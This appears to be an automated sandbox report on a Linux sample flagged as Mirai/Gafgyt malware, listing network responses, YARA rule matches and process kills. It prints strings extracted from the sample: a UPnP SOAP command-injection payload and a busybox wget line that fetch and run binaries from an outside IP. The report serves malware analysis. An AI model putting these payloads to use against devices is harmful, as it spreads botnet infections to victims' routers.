Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 14:08:21 GMTServer: Apache/2.4.17 (Win64) PHP/7.0.1Content-Length: 207Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 13:07:49 GMTServer: Apache/2.2.22 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 240Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f 41 4b 03 31 10 85 ef fb 2b c6 9e f4 60 66 bb f4 e0 21 04 b4 bb c5 c2 5a 17 4d 0f 1e 53 33 92 40 9b c4 24 ab f5 df 9b dd 22 c8 c0 c0 cc bc ef f1 86 5f b5 cf 6b f9 36 74 f0 28 9f 7a 18 f6 0f fd 76 0d 8b 5b c4 6d 27 37 88 ad 6c 2f 97 86 d5 88 dd 6e 21 2a 6e f2 e9 28 b8 21 a5 cb 90 6d 3e 92 58 d5 2b d8 f9 0c 1b 3f 3a cd f1 b2 ac 38 ce 22 7e f0 fa 67 e2 96 e2 9f a6 4c 15 0f 42 1a 82 48 9f 23 a5 4c 1a f6 2f 3d a0 75 9a ce 2c 98 00 df 2a 81 2b c8 c7 84 80 77 90 8d 4d 90 28 7e 51 64 1c c3 64 1a 4b 53 5a 47 4a 49 dc 07 f5 6e 08 1b 56 aa 81 eb 96 0e 56 b9 1b 78 9d 01 50 19 4e e7 25 f3 81 5c 1c 53 b2 8a 39 ca 30 f8 98 e1 ae e6 f8 67 52 62 cf 81 4b c4 e9 d1 ea 17 66 c5 de c5 23 01 00 00 Data Ascii: MAK1+`f!ZMS3@$"_k6t(zv[m'7l/n!n(!m>X+?:8"~gLBH#L/=u,+wM(~QddKSZGJInVVxPN%\S90gRbKf#
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0Date: Mon, 04 Mar 2024 14:08:34 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 14:08:39 GMTConnection: CloseCache-Control: no-storeX-Content-Type-Options: nosniffX-Frame-Options: DENYContent-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; object-src 'none'; connect-src .ookla.com .speedtest.net *.speedtestcustom.com
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Security-Policy: frame-src 'self' https://traefik.io https://*.traefik.io;Content-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 04 Mar 2024 14:08:48 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Source: kncYk2tWvH.elf	String found in binary or memory: http://45.142.107.38/bins/x86
Source: kncYk2tWvH.elf	String found in binary or memory: http://45.142.107.38/zyxel.sh;
Source: kncYk2tWvH.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: kncYk2tWvH.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 3183, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 2935, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3300, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3327, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3413, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3420, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3424, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3429, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3434, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.142.107.38 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 3183, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5433)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 765, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 803, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 855, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 1410, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 1411, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 2935, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 2936, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3300, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3327, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3413, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3420, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3424, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3429, result: successful	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	SIGKILL sent: pid: 3434, result: successful	Jump to behavior

Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: kncYk2tWvH.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
